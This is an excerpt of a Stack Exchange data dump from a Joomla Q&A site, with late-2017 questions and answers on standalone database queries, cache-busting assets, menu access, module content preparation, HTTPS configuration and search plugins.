  <row Id="22122" PostTypeId="2" ParentId="22114" CreationDate="2017-12-19T14:05:30.083" Score="1" Body="&lt;p&gt;Yes, this is possible. You'll need to include the &lt;code&gt;bootstrap.php&lt;/code&gt; which will execute the autoloader, allowing you to call the namespaced &lt;code&gt;Database&lt;/code&gt; framework package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__);&#xA;&#xA;require JPATH_BASE . '/includes/defines.php';&#xA;require JPATH_BASE . '/libraries/bootstrap.php';&#xA;&#xA;// Make the database driver&#xA;$dbFactory = new Joomla\Database\DatabaseFactory;&#xA;&#xA;$db = $dbFactory-&amp;gt;getDriver(&#xA;    'mysqli', [&#xA;        'host'     =&amp;gt; 'localhost',&#xA;        'user'     =&amp;gt; 'MY DATABASE USERNAME',&#xA;        'password' =&amp;gt; 'MY DATABASE PASSWORD',&#xA;        'database' =&amp;gt; 'MY DATABASE NAME',&#xA;        'prefix'   =&amp;gt; 'xxx_'&#xA;    ]&#xA;);&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('*')&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__users'));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$users = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example assumes the standalone PHP file is in the root of your Joomla site, so you may need to change line 2, depending on where you're file resides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-12-19T14:05:30.083" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22123" PostTypeId="1" CreationDate="2017-12-19T16:23:40.093" Score="0" ViewCount="85" Body="&lt;p&gt;I need to retrieve the banners_clients data only when exists banners for this client id:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;banner one - client id 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;banner two - client id 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;banner three - client id 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;client id 1 - name John&lt;/p&gt;&#xA;&#xA;&lt;p&gt;client id 2 - name Lucy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;client id 3 - name Holga&lt;/p&gt;&#xA;&#xA;&lt;p&gt;client id 4 - name Jorge&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---- after fetch data ---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;client id 1 - name John&lt;/p&gt;&#xA;&#xA;&lt;p&gt;client id   4 - name Jorge&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://pastebin.com/UCMrRT72&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/UCMrRT72&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9118" LastActivityDate="2017-12-22T17:12:58.537" Title="How to get banners clients when exists banners with this client?" Tags="|mysql|com-banners|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22125" PostTypeId="2" ParentId="22123" CreationDate="2017-12-19T16:47:26.723" Score="1" Body="&lt;p&gt;Join the banners table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;quoteName(array('a.id','a.name','contact','email','extrainfo','state','checked_out','checked_out_time','metakey','own_prefix','metakey_prefix','purchase_type','track_clicks','track_impressions')));&#xA;$query-&amp;gt;from('#__banner_clients a')&#xA;  -&amp;gt;join('inner', '#__banners b ON b.client_id = a.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2017-12-21T15:27:32.623" LastActivityDate="2017-12-21T15:27:32.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22126" PostTypeId="2" ParentId="21700" CreationDate="2017-12-19T22:41:43.823" Score="1" Body="&lt;p&gt;Any extension can contain multiple languages within the zip file.  The language files probably came with an extension.  Look at the file names of the language files and that will tell you which extension installed them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may as well leave the language files in place, because each time you update the extension that installed them - they'll be replaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Language files are benign - they're just text files.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-12-19T22:41:43.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22127" PostTypeId="2" ParentId="22114" CreationDate="2017-12-20T03:39:57.527" Score="2" Body="&lt;p&gt;Without the bootstrap file being available I loaded the framework without the application to check the performance like this in a folder called app.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$time_start = microtime(1);&#xA;&#xA;define('_JEXEC', 1);&#xA;&#xA;$base = str_replace(&quot;/app&quot;, &quot;&quot;, __DIR__);&#xA;&#xA;define('JPATH_BASE', $base);&#xA;&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('*')&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__users'));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$users = $db-&amp;gt;loadObjectList();&#xA;&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot; . print_r($users,1) . &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;echo microtime(1) - $time_start;&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then put &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$time_start = microtime(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into the top of Joomla's index.php file and then ran the following script in the entry file of a dummy component with a menu item routing to a view of the component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;global $time_start;&#xA;&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('*')&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__users'));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$users = $db-&amp;gt;loadObjectList();&#xA;&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot; . print_r($users,1) . &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;echo microtime(1) - $time_start;&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Performance Results&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;without Joomla application&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0.034259080886841&lt;/li&gt;&#xA;&lt;li&gt;0.03374195098877&lt;/li&gt;&#xA;&lt;li&gt;0.034512996673584&lt;/li&gt;&#xA;&lt;li&gt;0.034684181213379&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;with Joomla application &gt; router &gt; menu + component&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0.24458599090576&lt;/li&gt;&#xA;&lt;li&gt;0.29617881774902&lt;/li&gt;&#xA;&lt;li&gt;0.29315781593323&lt;/li&gt;&#xA;&lt;li&gt;0.3031439781189&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think that is probably enough of a performance gain for me to stop looking for a faster approach and having the whole of the platform will probably be useful anyhow.  But if anyone has any alternative slimmed down ways to serve up custom api endpoints using bits of the cms I would be interested to hear.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-12-20T03:39:57.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22128" PostTypeId="1" AcceptedAnswerId="22130" CreationDate="2017-12-20T12:05:27.123" Score="5" ViewCount="4656" Body="&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; I have upgraded an old Joomla! website from 2.5 to the latest version of Joomla!. After doing so the site from my point of view looks as it should. If I try to access the site from another pc that has previously accessed the site before the upgrade, the CSS looks to be obsolete. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; In order fix that, I clear the cache and any browsing data through the browser and the issues are fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Prevention measures:&lt;/strong&gt; I have looked at my custom components and I do not have cache saving mechanism in place, so I &lt;strong&gt;guess&lt;/strong&gt; this is a browser side issue.&#xA;The question is, &lt;strong&gt;how do I prevent this from happening in the future?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reasoning:&lt;/strong&gt; If my previous users access the site everything will look bad and I cannot expect them to know that they have to refresh their cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Research:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at Joomla versioning (&lt;a href=&quot;https://www.joomlart.com/tutorials/joomla-tutorials/tutorial-how-to-enable-content-versioning-in-joomla-site&quot; rel=&quot;noreferrer&quot;&gt;https://www.joomlart.com/tutorials/joomla-tutorials/tutorial-how-to-enable-content-versioning-in-joomla-site&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at cache clearing (&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=949662&quot; rel=&quot;noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=949662&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing seems to be a concrete solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a &quot;best practice&quot; for these kinds of situations please do share I would be delighted to learn all about it.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2019-02-03T14:26:52.047" Title="How to force cache/browser data clearing in browser?" Tags="|joomla-3.x|css|cache|upgrade|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22129" PostTypeId="1" CreationDate="2017-12-20T12:17:28.170" Score="0" ViewCount="141" Body="&lt;p&gt;I have made a Menu item and set its type to a 'Single Article'. I want that menu item to be displayed publically but login after clicking it to enter that article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I have set the access level to 'Registered', the menu link is showed to registered users only.How would I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!! &lt;/p&gt;&#xA;" OwnerUserId="12035" LastActivityDate="2019-08-12T22:01:35.233" Title="Display a menu item with Login requirement" Tags="|joomla-3.x|menu-item|login|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22130" PostTypeId="2" ParentId="22128" CreationDate="2017-12-20T12:24:59.620" Score="4" Body="&lt;p&gt;I have faced the very same problem many, many times. In the meantime I have learned that one can &lt;strong&gt;force browser to clear its cache&lt;/strong&gt; only by &lt;strong&gt;versioning assets loading&lt;/strong&gt;. So you need to find where your template loads its CSS files, and to add at the very end of loading command some type of versioning string, something like &lt;strong&gt;&quot;?v=xxx&quot;&lt;/strong&gt;. Once the browser caches previous version string, you can easily force it to reload that asset by simply changing version number by increasing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is only &quot;best practice&quot; I know of. There is no system plugin so far which can automate this procedure, so you will have to do it manually by editing corresponding template's .php file which loads it's assets (usually some kind of index.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The very same trick can be used for reloading .js files too, but they are not part of your question and concern.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="7374" LastEditDate="2017-12-23T01:17:21.577" LastActivityDate="2017-12-23T01:17:21.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22131" PostTypeId="2" ParentId="22128" CreationDate="2017-12-20T12:54:59.517" Score="2" Body="&lt;p&gt;The only way to reliably bust the cache of client browsers is to change the name of the asset in question; forcing all browsers to download it.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2017-12-20T12:54:59.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22132" PostTypeId="2" ParentId="22128" CreationDate="2017-12-20T12:55:06.947" Score="4" Body="&lt;p&gt;You can use &lt;code&gt;mediaVersion&lt;/code&gt;. There are a few ways to do that.&#xA;Look into those 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually adding version to loaded files:&#xA;&lt;code&gt;$v = JFactory::getDocument()-&amp;gt;getMediaVersion()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JHtml&lt;/code&gt; versioning of loaded files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add script&#xA;JHtml::_('script', 'xxx.js', array('version' =&amp;gt; 'auto'));&#xA;// Add Stylesheets&#xA;JHtml::_('stylesheet', 'xxx.css', array('version' =&amp;gt; 'auto'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-12-20T12:55:06.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22133" PostTypeId="2" ParentId="22129" CreationDate="2017-12-20T12:58:50.443" Score="1" Body="&lt;p&gt;You should do exactly what you want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to? You want to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;allow users see the link&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So you should set menu item as public;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;you want to allow to read article only to registered users&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So you should set article access to registered only;&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-12-20T12:58:50.443" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22134" PostTypeId="2" ParentId="22117" CreationDate="2017-12-20T16:33:57.520" Score="1" Body="&lt;p&gt;I'm the developer of &quot;Recent Article&quot; (above quoted extension), We have updated our extension &quot;Recent Article&quot; with the option to show full article i-e. Intro text and Full Text. If you do not wish to show full article you can limit the intro text to number of characters you want to. Please update the extension for new option.&lt;/p&gt;&#xA;" OwnerUserId="12037" LastActivityDate="2017-12-20T16:33:57.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22136" PostTypeId="2" ParentId="22128" CreationDate="2017-12-21T06:37:00.240" Score="2" Body="&lt;p&gt;You can use JCH Optimize to combine and optimize the delivering of all the script files - CSS and Java. Each combined file gets a new name, when you clear the cache in the plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always use the PRO version, which is extremely effective and worth all the money.&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2017-12-21T06:37:00.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22138" PostTypeId="2" ParentId="22128" CreationDate="2017-12-21T15:37:32.133" Score="2" Body="&lt;p&gt;Add the timestamp of the file as parameter so that the file will not be cached.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mtime = filemtime('/path/to/script/script.js');&#xA;JFactory::getDocument()-&amp;gt;addScript('/url/of/script/script.js?t='.$mtime);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-12-21T15:37:32.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22139" PostTypeId="1" CreationDate="2017-12-21T16:04:01.880" Score="3" ViewCount="23" Body="&lt;p&gt;When encountering a problem, search engines will often return plethora of hits of people encountering a similar problem.  These usually point to support fora in which solutions are offered in terms of some administrative action to take.  However, the description of the administrative action is rarely in the form of the complete menu path to the administrative option.  For example, rather than saying:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Content &amp;gt; Categories &amp;gt; Uncategorized &amp;gt; Options &amp;gt; Layout &amp;gt; From Component &amp;gt; Blog&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution will be offered in terms like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Select the layout from component blog.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is frequently feasible to figure out the former from the latter, it can in many cases be quite time consuming.  Is there anything in Joomla -- or an administrative plugin or extension -- that can assist in searching the menu text strings to locate the menu path?&lt;/p&gt;&#xA;" OwnerUserId="12040" LastActivityDate="2017-12-22T02:31:38.243" Title="How does one find the menu path to an administrative option given a text string?" Tags="|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22140" PostTypeId="2" ParentId="22139" CreationDate="2017-12-22T02:31:38.243" Score="3" Body="&lt;p&gt;I'm not aware of any plugin or extension that can help with this and as far as I know, there is no &quot;Search&quot; or similar feature in the back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can understand the need for something like this as some features are certainly not easy to find for a novice or experienced user e.g. the new router settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally when explaining administrative actions, authors should make it clear how to navigate through the menu path to reach the relevant feature as you have shown in your question. Where this is not done, and it's not clear or simple to find the relevant feature, the best course of action is probably to ask the author to explain the menu path more clearly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when authors sufficiently explain the menu path, it's unfortunate that the menu structure varies between Joomla versions and even since Joomla 3 was released, the menu options and structure have been simplified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When asking a question, it can help to specify which Joomla version you are using so the answer can include the appropriate administration menu paths.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-12-22T02:31:38.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22143" PostTypeId="1" CreationDate="2017-12-22T10:38:50.003" Score="3" ViewCount="61" Body="&lt;p&gt;I have to write front-end form in my component with dropdown list of categories and subcategories. Categories and subcategories amount should be unlimited. Should I use a nested sets model to do that? &lt;/p&gt;&#xA;" OwnerUserId="12044" LastActivityDate="2018-12-17T22:26:27.873" Title="Form with nested set dropdown" Tags="|joomla-3.x|form|joomla3.8|dropdown|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22144" PostTypeId="2" ParentId="21037" CreationDate="2017-12-22T12:49:17.517" Score="1" Body="&lt;p&gt;If you have installed &quot;Admin Tools&quot;, first of all, try to disable it (it can be do it by accessing via FTP to the plugin and change the name, or by their configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other thing you can try is to change the name of any .htaccess that you would have in the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also... you can try to download the upgrade package again and re-doing all from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you can try is to make a backup (with Akeeba Backup) and try it in another site (or in local), and if it works, you only have to replace the old website with the upgraded version of the same.&lt;/p&gt;&#xA;" OwnerUserId="11575" LastActivityDate="2017-12-22T12:49:17.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22145" PostTypeId="2" ParentId="21255" CreationDate="2017-12-22T12:51:46.720" Score="1" Body="&lt;p&gt;The field you want to use doesn't work like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Media file type only permits to open the joomla media controller D:, but not to make an upload...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution for this was to make a custom module to implement it.&lt;/p&gt;&#xA;" OwnerUserId="11575" LastActivityDate="2017-12-22T12:51:46.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22146" PostTypeId="2" ParentId="22143" CreationDate="2017-12-22T13:50:48.307" Score="1" Body="&lt;p&gt;If you implement your own categories functionality you can use anything that suits you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can take advantage of Joomla's built-in categories system for your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a read here:&lt;br&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_categories&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Developing an MVC Component/Adding categories&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-12-22T13:50:48.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22148" PostTypeId="1" AcceptedAnswerId="22196" CreationDate="2017-12-22T16:50:28.693" Score="2" ViewCount="1426" Body="&lt;p&gt;We are currently using Joomla's user class to create new staff, In our staff page. It works well and successfully creates the new user account.&#xA;But we have an issue. Because the user account button at the top of screen also relies on calls to a Joomla user object, once we create a new user, the moment after creation the name displayed is that of the user we just created. Now once you refresh or move to another page the issue disappears.&lt;/p&gt;&#xA;&lt;p&gt;If we wish to avoid the confusion this instance might cause, it might make sense to move the method we use to create new users out of the page and into a separate file; correct? Or would it not be worth it, given that it has no other effects but a temporary name that is resolved without any real effort on the part of the user?&lt;/p&gt;&#xA;&lt;p&gt;This is the code we use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$udata = array(&#xA;    &amp;quot;name&amp;quot;=&amp;gt;$_POST['firstName'].' '.$_POST['surName'],&#xA;    &amp;quot;username&amp;quot;=&amp;gt;$_POST['username'],&#xA;    &amp;quot;password&amp;quot;=&amp;gt;$_POST['password'],&#xA;    &amp;quot;password2&amp;quot;=&amp;gt;$_POST['password'],&#xA;    &amp;quot;email&amp;quot;=&amp;gt;$_POST['companyEmail'],&#xA;    &amp;quot;block&amp;quot;=&amp;gt;0,&#xA;    &amp;quot;groups&amp;quot;=&amp;gt;array(&amp;quot;2&amp;quot;,&amp;quot;6&amp;quot;)&#xA;);&#xA;&#xA;$user = new JUser;&#xA;//Write to database&#xA;if(!$user-&amp;gt;bind($udata)) {&#xA;    echo &amp;quot;&amp;lt;script&amp;gt;alert('Could not bind data. Error: &amp;quot;.$user-&amp;gt;getError().&amp;quot;&amp;lt;/script&amp;gt;&amp;quot;;&#xA;}&#xA;if (!$user-&amp;gt;save()) {&#xA;    echo &amp;quot;&amp;lt;script&amp;gt;alert('Could not save user. Error: &amp;quot; . $user-&amp;gt;getError().&amp;quot;&amp;lt;/script&amp;gt;&amp;quot;;&#xA;} else { &#xA;    echo &amp;quot;&amp;lt;script&amp;gt;alert('New User $user-&amp;gt;id Created');&amp;lt;/script&amp;gt;&amp;quot;;&#xA;    // Script Here to enter additional details in usg_usg_staff table&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or would it be wiser to remove the &lt;code&gt;user-&amp;gt;name&lt;/code&gt; call?&lt;/p&gt;&#xA;" OwnerUserId="11029" LastEditorUserId="9485" LastEditDate="2023-01-27T12:25:28.663" LastActivityDate="2023-01-27T12:25:28.663" Title="creating users programmatically causing conflict with logged in username display" Tags="|joomla-3.x|php|user|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22149" PostTypeId="2" ParentId="22123" CreationDate="2017-12-22T17:12:58.537" Score="0" Body="&lt;p&gt;Solved:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('a.*');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__banner_clients', 'a'))&#xA;-&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__banners', 'b') . ' ON (' . $db-&amp;gt;quoteName('b.cid') . ' = ' . $db-&amp;gt;quoteName('a.id') . ')')&#xA;-&amp;gt;order($db-&amp;gt;quoteName('a.name') . 'ASC');&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9118" LastActivityDate="2017-12-22T17:12:58.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22152" PostTypeId="1" CreationDate="2017-12-23T07:57:57.440" Score="6" ViewCount="2502" Body="&lt;p&gt;For some (all?) custom modules, under the options tab, there is a Prepare Content option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jo0I3.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jo0I3.gif&quot; alt=&quot;Prepare Content Option&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When should it be used? (Conversely, when should it not be used?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's its impact on site performance and/or dynamic content (non-static info that changes frequently such as sports scores, stock prices, etc.)?&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2017-12-23T08:41:47.980" Title="What does &quot;Prepare Content&quot; do and when should it be used?" Tags="|joomla-3.x|module|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22153" PostTypeId="2" ParentId="22152" CreationDate="2017-12-23T08:41:47.980" Score="7" Body="&lt;p&gt;Prepare Content will enable the onContentPrepare plugins event for the content of the module. So the custom html module's html content will go through the process of content plugins, similar to what happens on the articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This enables you to run content plugins (e.g. loadModule, email cloaking, etc) in your custom html modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that the answer on when it should be used becomes obvious now. When you have content that requires to be processed by content Plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Impact on performance: I don't have exact metrics on my hands, but as it involves extra processing, this adds up some extra tasks on the php side, although it should be minimum (while depending on what your content plugins are and do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have content that needs content plugins, keep it disabled.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-12-23T08:41:47.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22154" PostTypeId="1" CreationDate="2017-12-23T18:32:21.347" Score="3" ViewCount="187" Body="&lt;p&gt;This is a copy of a question that I &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=717&amp;amp;t=957766&quot; rel=&quot;nofollow noreferrer&quot;&gt;posted at the Joomla support forums&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to set the Force HTTPS option using the admin facility I get the following warning message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;br&gt;&#xA;  HTTPS has not been enabled as it is not available on this server.&lt;br&gt;&#xA;  HTTPS connection test failed with the following error:&lt;br&gt;&#xA;  Operation timed out after 1000 milliseconds with 0 bytes received&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rXvMS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rXvMS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I edit the configuration.php file and set $force_ssl to '2' then it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing this has something to do with running under IIS and/or running on an Azure VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I resolve this warning?&lt;/p&gt;&#xA;" OwnerUserId="10944" LastEditorUserId="12352" LastEditDate="2019-08-14T22:42:33.400" LastActivityDate="2019-08-15T13:38:22.217" Title="Warning when setting Force HTTPS (running on IIS and Azure)" Tags="|administrator|ssl|https|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22155" PostTypeId="1" AcceptedAnswerId="22163" CreationDate="2017-12-23T21:47:45.563" Score="1" ViewCount="88" Body="&lt;p&gt;I am new to joomla! and would like to design a custom search plugin to search through my database. I know that when using the default search, the &lt;code&gt;onContentSearch()&lt;/code&gt; function is triggered and &quot;search keywords&quot; will be sent to the above function rather than all of input string in search field. For example, if we want to search the term &lt;code&gt;This is a book&lt;/code&gt;, then two keywords: &lt;code&gt;This&lt;/code&gt; and &lt;code&gt;book&lt;/code&gt; will be sent to &lt;code&gt;onContentSearch()&lt;/code&gt;. In my customize search plugin, I want to send all of words (i.e. &lt;code&gt;This&lt;/code&gt;, &lt;code&gt;is&lt;/code&gt;, &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;book&lt;/code&gt;) in term &lt;code&gt;This is a book&lt;/code&gt; to &lt;code&gt;onContentSearch()&lt;/code&gt;. How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="11960" LastActivityDate="2017-12-27T18:25:40.900" Title="search component/plugin in joomla" Tags="|plugin|search|plugin-events|com-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
